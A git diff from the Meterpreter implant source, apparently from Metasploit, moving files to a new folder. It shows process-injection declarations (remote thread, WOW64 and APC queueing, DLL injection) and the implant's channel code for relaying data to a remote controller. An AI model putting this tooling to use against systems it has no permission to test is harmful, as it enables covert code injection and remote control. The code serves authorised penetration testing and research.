MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 -#define MIGRATE_TECHNIQUE_APCQUEUE 2 - -extern const DWORD dwMeterpreterArch; - -//===============================================================================================// - -// Definition of ntdll!NtQueueApcThread -typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); - -// Definitions used for running native x64 code from a wow64 process (see executex64.asm) -typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); -typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); - -//===============================================================================================// - -// The context used for injection via migrate_via_apcthread -typedef struct _APCCONTEXT -{ - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - - BYTE bExecuted; - -} APCCONTEXT, * LPAPCCONTEXT; - -// The context used for injection via migrate_via_remotethread_wow64 -typedef struct _WOW64CONTEXT -{ - union - { - HANDLE hProcess; - BYTE bPadding2[8]; - } h; - - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - union - { - HANDLE hThread; - BYTE bPadding2[8]; - } t; -} WOW64CONTEXT, * LPWOW64CONTEXT; - -//===============================================================================================// - -DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - -DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - -DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); - -DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); - -//===============================================================================================// -#endif +//===============================================================================================// +#ifndef _METERPRETER_METSRV_BASE_INJECT_H +#define _METERPRETER_METSRV_BASE_INJECT_H +//===============================================================================================// + +// The three injection techniques currently supported. +#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 +#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 +#define MIGRATE_TECHNIQUE_APCQUEUE 2 + +//===============================================================================================// + +// Definition of ntdll!NtQueueApcThread +typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); + +// Definitions used for running native x64 code from a wow64 process (see executex64.asm) +typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); +typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); + +//===============================================================================================// + +// The context used for injection via migrate_via_apcthread +typedef struct _APCCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + + BYTE bExecuted; + +} APCCONTEXT, * LPAPCCONTEXT; + +// The context used for injection via migrate_via_remotethread_wow64 +typedef struct _WOW64CONTEXT +{ + union + { + HANDLE hProcess; + BYTE bPadding2[8]; + } h; + + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + union + { + HANDLE hThread; + BYTE bPadding2[8]; + } t; +} WOW64CONTEXT, * LPWOW64CONTEXT; + +//===============================================================================================// + +DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); + +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); + +//===============================================================================================// +#endif //===============================================================================================// \ No newline at end of file diff --git a/c/meterpreter/source/common/channel.c b/c/meterpreter/source/metsrv/channel.c old mode 100755 new mode 100644 similarity index 93% rename from c/meterpreter/source/common/channel.c rename to c/meterpreter/source/metsrv/channel.c index f4bf4a09..d3bbdb77 --- a/c/meterpreter/source/common/channel.c +++ b/c/meterpreter/source/metsrv/channel.c @@ -1,937 +1,933 @@ -#include "common.h" - -// List insertion and removal -VOID channel_add_list_entry(Channel *channel); -VOID channel_remove_list_entry(Channel *channel); - -// Generic buffer manipulation routines -VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, - DirectIoHandler dio); -VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); -VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); - -// Channel routine duplication -ChannelCompletionRoutine *channel_duplicate_completion_routine( - ChannelCompletionRoutine *in); - -// Linked list of allocated channels -Channel *channelList = NULL; -DWORD channelIdPool = 0; - -/* - * Create a new channel, optionally with a supplied identifier. - * - * If the identifier is zero, a new unique identifier is allocated. - * - * TODO: identifier conflicts due to being able to supply an id - */ -Channel *channel_create(DWORD identifier, DWORD flags) -{ - Channel *channel = NULL; - - do - { - // Allocate storage for the channel - if (!(channel = (Channel *)malloc(sizeof(Channel)))) - break; - - // Zero it - memset(channel, 0, sizeof(Channel)); - - // Set the channel's unique identifier - channel->identifier = (!identifier) ? ++channelIdPool : identifier; - channel->interactive = FALSE; - channel->flags = flags; - channel->cls = CHANNEL_CLASS_BUFFERED; - channel->lock = lock_create(); - - memset(&channel->ops, 0, sizeof(channel->ops)); - - // Initialize the channel's buffered default IO handler - // to the internal buffering methods - channel_set_buffered_io_handler(channel, &channel->ops.buffered, - channel_default_io_handler); - - // Insert the channel into the list of channels - channel_add_list_entry(channel); - - } while (0); - - return channel; -} - -/* - * Creates a stream-based channel with initialized operations. An example of - * streaming channel is TCP. - */ -LINKAGE Channel *channel_create_stream(DWORD identifier, - DWORD flags, StreamChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_STREAM; - - if (ops) - memcpy(&channel->ops.stream, ops, sizeof(StreamChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Creates a datagram-based channel with initialized operations. An example of - * a datagram channel is UDP. - */ -LINKAGE Channel *channel_create_datagram(DWORD identifier, - DWORD flags, DatagramChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_DATAGRAM; - - if (ops) - memcpy(&channel->ops.datagram, ops, sizeof(DatagramChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Creates a pool-based channel with initialized operations. An example of a - * pool channel is one that operates on a file. - */ -LINKAGE Channel *channel_create_pool(DWORD identifier, - DWORD flags, PoolChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_POOL; - - if (ops) - memcpy(&channel->ops.pool, ops, sizeof(PoolChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Destroy a previously allocated channel - */ -VOID channel_destroy(Channel *channel, Packet *request) -{ - dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel ); - // Call the close handler as we're being destroyed. - if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) && - (channel->ops.buffered.dio)) - { - channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_CLOSE, - NULL, 0, NULL); - - if (channel->ops.buffered.buffer) - free(channel->ops.buffered.buffer); - } - else - { - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - if (ops->close) - ops->close(channel, request, ops->context); - } - - // Remove the channel from the list of channels - channel_remove_list_entry(channel); - - lock_destroy( channel->lock ); - - // Destroy the channel context - dprintf( "[CHANNEL] Free up the channel context 0x%p", channel ); - free(channel); -} - -/* - * Get the channel's identifier - */ -DWORD channel_get_id(Channel *channel) -{ - return channel->identifier; -} - -/* - * Set the type of channel, such as process, fs, etc. - */ -VOID channel_set_type(Channel *channel, PCHAR type) -{ - if (channel->type) - free(channel->type); - - channel->type = NULL; - - if (type) - channel->type = _strdup(type); -} - -/* - * Get the channel's type. - */ -PCHAR channel_get_type(Channel *channel) -{ - return channel->type; -} - -/* - * Returns the channel's class - */ -DWORD channel_get_class(Channel *channel) -{ - return channel->cls; -} - -/* - * Sets the channel's operational flags - */ -VOID channel_set_flags(Channel *channel, ULONG flags) -{ - channel->flags = flags; -} - -/* - * Checks to see if the supplied flag is set on the channel - */ -BOOLEAN channel_is_flag(Channel *channel, ULONG flag) -{ - return ((channel->flags & flag) == flag) ? TRUE : FALSE; -} - -/* - * Returns the channel's operational flags - */ -ULONG channel_get_flags(Channel *channel) -{ - return channel->flags; -} - -/* - * Set the channel's interactive flag - */ -VOID channel_set_interactive(Channel *channel, BOOL interactive) -{ - channel->interactive = interactive; -} - -/* - * Return the channel's interactive flag - */ -BOOL channel_is_interactive(Channel *channel) -{ - return channel->interactive; -} - -/* - * Set the buffered buffer direct IO handler - */ -VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, - DirectIoHandler dio) -{ - channel_set_buffer_io_handler(&channel->ops.buffered, dioContext, dio); -} - -PVOID channel_get_buffered_io_context(Channel *channel) -{ - return channel->ops.buffered.dioContext; -} - -/* - * Write the supplied buffer to the remote endpoint of the channel. - * - * This will cause the passed buffer to be written in channel->ops.buffered on the - * remote endpoint. - */ -DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesWritten) -{ - Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, - "core_channel_write"); - DWORD res = ERROR_SUCCESS; - Tlv entries[2]; - DWORD idNbo; - - do - { - // Did the allocation fail? - if (!request) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - idNbo = htonl(channel_get_id(channel)); - - entries[0].header.type = TLV_TYPE_CHANNEL_ID; - entries[0].header.length = sizeof(DWORD); - entries[0].buffer = (PUCHAR)&idNbo; - - // if the channel data is ment to be compressed, compress it! - if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) - entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; - else - entries[1].header.type = TLV_TYPE_CHANNEL_DATA; - - entries[1].header.length = chunkLength; - entries[1].buffer = chunk; - - // Add the TLV data - if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) - break; - - // Transmit the packet - res = packet_transmit(remote, request, NULL); - - } while (0); - - return res; -} - -/* - * Write data into the buffered buffer using the established DIO operation for - * writing. - */ -DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, - PULONG bytesWritten) -{ - return channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_WRITE, chunk, - chunkLength, bytesWritten); -} - -/* - * Read data from the buffered buffer using the established DIO operation for - * reading. - */ -DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, - PULONG bytesRead) -{ - return channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_READ, chunk, chunkLength, - bytesRead); -} - -/* - * Sets a given buffer's direct IO handler - */ -VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, - DirectIoHandler dio) -{ - // If no direct I/O handler is supplied, use the default - if (!dio) - { - dio = channel_default_io_handler; - context = NULL; - } - - buffer->dioContext = context; - buffer->dio = dio; -} - -/* - * Changes the native I/O context for the supplied channel - */ -LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context) -{ - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - ops->context = context; -} - -/* - * Returns the native context that is associated with the channel - */ -LINKAGE LPVOID channel_get_native_io_context(Channel *channel) -{ - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - return ops->context; -} - -/********************** - * Remote channel API * - **********************/ - -/* - * Duplicates a completion routine so it can be saved for calling back - */ -ChannelCompletionRoutine *channel_duplicate_completion_routine( - ChannelCompletionRoutine *in) -{ - ChannelCompletionRoutine *ret = NULL; - - if ((ret = (ChannelCompletionRoutine *)malloc( - sizeof(ChannelCompletionRoutine)))) - memcpy(ret, in, sizeof(ChannelCompletionRoutine)); - - return ret; -} - -/* - * Channel completion routine dispatcher - */ -DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet, - LPVOID context, LPCSTR method, DWORD result) -{ - ChannelCompletionRoutine *comp = (ChannelCompletionRoutine *)context; - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - Channel *channel = channel_find_by_id(channelId); - DWORD res = ERROR_NOT_FOUND; - - - dprintf( "[CHANNEL] _channel_packet_completion_routine. channel=0x%08X method=%s", channel, method ); - - // If the channel was not found and it isn't an open request, return failure - if (!channel && strcmp(method, "core_channel_open")) - return ERROR_NOT_FOUND; - - if ((!strcmp(method, "core_channel_open")) && - (comp->routine.open)) - res = comp->routine.open(remote, channel, comp->context, result); - else if ((!strcmp(method, "core_channel_read")) && - (comp->routine.read)) - { - ULONG length = 0, realLength = 0; - PUCHAR buffer = NULL; - - // Get the number of bytes written - length = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - - // Allocate storage for it - if ((length) && (buffer = (PUCHAR)malloc(length))) - { - memset(buffer, 0, length); - - channel_read_from_buffered(channel, buffer, length, &realLength); - } - - res = comp->routine.read(remote, channel, comp->context, result, - buffer, realLength); - - if (buffer) - free(buffer); - } - else if ((!strcmp(method, "core_channel_write")) && - (comp->routine.write)) - { - Tlv lengthTlv; - ULONG length = 0; - - // Get the number of bytes written to the channel - if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) - == ERROR_SUCCESS) && - (lengthTlv.header.length >= sizeof(DWORD))) - length = ntohl(*(LPDWORD)lengthTlv.buffer); - - res = comp->routine.write(remote, channel, comp->context, result, - length); - } - else if ((!strcmp(method, "core_channel_close")) && - (comp->routine.close)) { - dprintf( "[CHANNEL] freeing up the completion context" ); - res = comp->routine.close(remote, channel, comp->context, result); - } - else if ((!strcmp(method, "core_channel_interact")) && - (comp->routine.interact)) - res = comp->routine.interact(remote, channel, comp->context, result); - - // Deallocate the completion context - dprintf( "[CHANNEL] freeing up the completion context" ); - free(comp); - - return res; -} - -/* - * Tries to open a channel with the remote endpoint, optionally calling the - * supplied completion routine upon response. - */ -DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - DWORD res = ERROR_SUCCESS; - PCHAR method = "core_channel_open"; - Packet *request; - Tlv methodTlv; - - do - { - // Allocate the request - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Read data from the remote end of the channel. - */ -DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ULONG length, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - Packet *request; - DWORD res = ERROR_SUCCESS; - PCHAR method = "core_channel_read"; - Tlv methodTlv; - - do - { - // Allocate an empty request - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier and the length to read - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Write to the remote end of the channel - */ -DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, PUCHAR buffer, ULONG length, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - DWORD res = ERROR_SUCCESS; - LPCSTR method = "core_channel_write"; - Packet *request; - Tlv methodTlv; - - do - { - // Allocate a request packet - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier and the length to write - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // if the channel data is ment to be compressed, compress it! - if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS)) - { - packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length); - } - else - { - packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); - } - - packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Close the channel provided. - */ -DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - LPCSTR method = "core_channel_close"; - DWORD res = ERROR_SUCCESS; - Packet *request; - Tlv methodTlv; - - do - { - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine); - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Interact with a given channel such that data on the remote end is - * forwarded in real time rather than being polled. - */ -DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, BOOL enable, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - LPCSTR method = "core_channel_interact"; - DWORD res = ERROR_SUCCESS; - Packet *request; - Tlv methodTlv; - - do - { - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // Add the enable/disable boolean - packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/********************* - * Channel searching * - *********************/ - -/* - * Find a channel context by its identifier - */ -Channel *channel_find_by_id(DWORD id) -{ - Channel *current; - - for (current = channelList; current; current = current->next) - { - if (current->identifier == id) - { - break; - } - } - - return current; -} - -/* - * Insert a channel into the channel list - */ -VOID channel_add_list_entry(Channel *channel) -{ - if (channelList) - { - channelList->prev = channel; - } - - channel->next = channelList; - channel->prev = NULL; - channelList = channel; -} - -/* - * Remove a channel from the channel list - */ -VOID channel_remove_list_entry(Channel *channel) -{ - if (channel->prev) - { - channel->prev->next = channel->next; - } - else - { - channelList = channel->next; - } - - if (channel->next) - { - channel->next->prev = channel->prev; - } -} - -/* -* Determines whether the specified channel exists -*/ -BOOL channel_exists(Channel *channel) -{ - Channel *current; - - for (current = channelList; current; current = current->next) - { - if (current == channel) - { - return TRUE; - } - } - - return FALSE; -} - -/************** - * Default IO * - **************/ - -/* - * Channel default IO operations - * - * The default implementation queues and dequeues write/read operations, - * respectively. - */ -DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, - LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, - PULONG bytesXfered) -{ - switch (mode) - { - case CHANNEL_DIO_MODE_READ: - channel_read_buffer(channel, buffer, chunk, length, bytesXfered); - break; - case CHANNEL_DIO_MODE_WRITE: - channel_write_buffer(channel, buffer, chunk, length, bytesXfered); - break; - default: - break; - } - - return ERROR_SUCCESS; -} - -/* - * Writes arbitrary data into a buffer, optionally allocating more memory - * as necessary. - */ -VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten) -{ - // Is there enough storage space? - if (buffer->currentSize + chunkLength > buffer->totalSize) - { - PUCHAR newBuffer = NULL; - ULONG newSize = 0; - - // Calculate the new buffer size - newSize = buffer->currentSize + chunkLength; - newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1)); - - // Allocate the storage for the new data - if (buffer->totalSize) - { - newBuffer = (PUCHAR)realloc(buffer->buffer, newSize); - } - else - { - newBuffer = (PUCHAR)malloc(newSize); - } - - // Allocation failure? - if (!newBuffer) - { - SAFE_FREE(buffer->buffer); - - memset(buffer, 0, sizeof(ChannelBuffer)); - - return; - } - - // Populate the buffer with the updated information - buffer->buffer = newBuffer; - buffer->totalSize = newSize; - } - - // Copy the chunk data into the buffer - memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength); - - // Update the current size - buffer->currentSize += chunkLength; - - if (bytesWritten) - { - *bytesWritten = chunkLength; - } -} - -/* - * Reads a given number of bytes from the front of the buffer, - * thus removing the data from the buffer. - */ -VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, - ULONG chunkLength, PULONG bytesRead) -{ - ULONG actualSize = chunkLength; - - // Ensure that data is not read past the end of the buffer - if (actualSize > buffer->currentSize) - { - actualSize = buffer->currentSize; - } - - // Copy the front portion of the buffer into the chunk - memcpy(chunk, buffer->buffer, actualSize); - - // Move the buffer forward if there is any left - if (actualSize != buffer->currentSize) - { - memcpy(buffer->buffer, buffer->buffer + actualSize, - buffer->currentSize - actualSize); - } - - // Decrement the current used size of the buffer - buffer->currentSize -= actualSize; - - // Pass back the number of bytes actually read - if (bytesRead) - { - *bytesRead = actualSize; - } -} +#include "metsrv.h" + +// List insertion and removal +VOID channel_add_list_entry(Channel *channel); +VOID channel_remove_list_entry(Channel *channel); + +// Generic buffer manipulation routines +VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, DirectIoHandler dio); +VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); + +// Channel routine duplication +ChannelCompletionRoutine *channel_duplicate_completion_routine(ChannelCompletionRoutine *in); + +// Linked list of allocated channels +Channel *channelList = NULL; +DWORD channelIdPool = 0; + +/* + * Create a new channel, optionally with a supplied identifier. + * + * If the identifier is zero, a new unique identifier is allocated. + * + * TODO: identifier conflicts due to being able to supply an id + */ +Channel *channel_create(DWORD identifier, DWORD flags) +{ + Channel *channel = NULL; + + do + { + // Allocate storage for the channel + if (!(channel = (Channel *)malloc(sizeof(Channel)))) + break; + + // Zero it + memset(channel, 0, sizeof(Channel)); + + // Set the channel's unique identifier + channel->identifier = (!identifier) ? ++channelIdPool : identifier; + channel->interactive = FALSE; + channel->flags = flags; + channel->cls = CHANNEL_CLASS_BUFFERED; + channel->lock = lock_create(); + + memset(&channel->ops, 0, sizeof(channel->ops)); + + // Initialize the channel's buffered default IO handler + // to the internal buffering methods + channel_set_buffered_io_handler(channel, &channel->ops.buffered, + channel_default_io_handler); + + // Insert the channel into the list of channels + channel_add_list_entry(channel); + + } while (0); + + return channel; +} + +/* + * Creates a stream-based channel with initialized operations. An example of + * streaming channel is TCP. + */ +Channel *channel_create_stream(DWORD identifier, + DWORD flags, StreamChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_STREAM; + + if (ops) + memcpy(&channel->ops.stream, ops, sizeof(StreamChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Creates a datagram-based channel with initialized operations. An example of + * a datagram channel is UDP. + */ +Channel *channel_create_datagram(DWORD identifier, + DWORD flags, DatagramChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_DATAGRAM; + + if (ops) + memcpy(&channel->ops.datagram, ops, sizeof(DatagramChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Creates a pool-based channel with initialized operations. An example of a + * pool channel is one that operates on a file. + */ +Channel *channel_create_pool(DWORD identifier, + DWORD flags, PoolChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_POOL; + + if (ops) + memcpy(&channel->ops.pool, ops, sizeof(PoolChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Destroy a previously allocated channel + */ +VOID channel_destroy(Channel *channel, Packet *request) +{ + dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel ); + // Call the close handler as we're being destroyed. + if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) && + (channel->ops.buffered.dio)) + { + channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_CLOSE, + NULL, 0, NULL); + + if (channel->ops.buffered.buffer) + free(channel->ops.buffered.buffer); + } + else + { + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + if (ops->close) + ops->close(channel, request, ops->context); + } + + // Remove the channel from the list of channels + channel_remove_list_entry(channel); + + lock_destroy( channel->lock ); + + // Destroy the channel context + dprintf( "[CHANNEL] Free up the channel context 0x%p", channel ); + free(channel); +} + +/* + * Get the channel's identifier + */ +DWORD channel_get_id(Channel *channel) +{ + return channel->identifier; +} + +/* + * Set the type of channel, such as process, fs, etc. + */ +VOID channel_set_type(Channel *channel, PCHAR type) +{ + if (channel->type) + free(channel->type); + + channel->type = NULL; + + if (type) + channel->type = _strdup(type); +} + +/* + * Get the channel's type. + */ +PCHAR channel_get_type(Channel *channel) +{ + return channel->type; +} + +/* + * Returns the channel's class + */ +DWORD channel_get_class(Channel *channel) +{ + return channel->cls; +} + +/* + * Sets the channel's operational flags + */ +VOID channel_set_flags(Channel *channel, ULONG flags) +{ + 